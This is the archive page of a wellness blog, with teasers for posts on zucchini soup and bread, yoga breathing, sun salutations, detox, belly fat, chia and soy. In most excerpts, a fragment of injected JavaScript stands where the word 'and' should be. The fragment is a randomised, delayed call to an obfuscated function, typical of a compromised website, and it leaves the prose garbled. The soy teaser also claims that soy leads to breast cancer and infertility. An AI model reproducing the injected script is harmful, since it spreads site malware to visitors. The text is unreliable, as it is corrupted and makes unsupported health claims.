Zucchini & Basil Soup
Inspiration August 7, 2015 Nutrition, Raw, Recipes, Summer, Vegan, Vegetarian no discussions

My garden is overflowing with zucchini & basil this time of year andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am always looking for new ways to enjoy them.  This soup is super easy to throw together.  It can be served …

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How to Avoid Wrist Pain in Yoga
7 Steps to P.U.R.E. this Spring

P.U.R.E.=Perspiration, Urination, Respiration, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Excretion In a perfect world perspiration, urination, respiration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and excretion are how the body self regulates andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and detoxifies.  Well, as I …

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OOOdles of Zucchini Noodles

 Summer Bounty If you have been following our blog you know we are sitting on a lot of zuchini up in here.  If you haven’t seen our “Seriously Good Zuchini Bread” check it out here.  The following recipe may be …

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   13 Tips to lose Belly Fat If you follow our blog than you know we don’t subscribe to extreme measures, fad diets, popping pills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quick fixes.  No, none of that will be found …

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Cha Cha Cha “Chia”

Ok, so you already know about it, sort of.  You have heard of it.  Chia, it’s a mega-superfood from the Central andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and South Americas.   You are sold on the health & weight management benefits of …

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Seriously Good Zuchini Bread

When your neighbor shows up with these, a girl has to get busy.  It’s been a zucchini fest in the Y3 test kitchen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and be assured we will be sharing more zuchini recipes.  But, this …

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Surya Namaskara Surya=Sun Namaskara=Greeting or Salutation= “Sun Salutation” Surya means the sun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Namaskara is a greeting of honor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and respect to the divinity present in each of us. Surya …

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Home Yoga Practice-Ujjayi Breathing

Ujjayi Pranayama (oo-jy [rhymes with “pie”]-ee) ujjayi = to conquer, to be victorious  As part of our Home Yoga Practice series we begin with learning how to breathe.  Sounds odd, I know.  You probably take breathing for granted, it’s innate.  But, …

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Top 3 Reasons to Avoid Unfermented Soy

Phytoestrogens:  Soy is higher in these plant-based estrogen’s than any other source andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can lead to breast cancer, infertility, decreased sexual libido andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and uterine fibroids. Goitrogen: Has been shown to …

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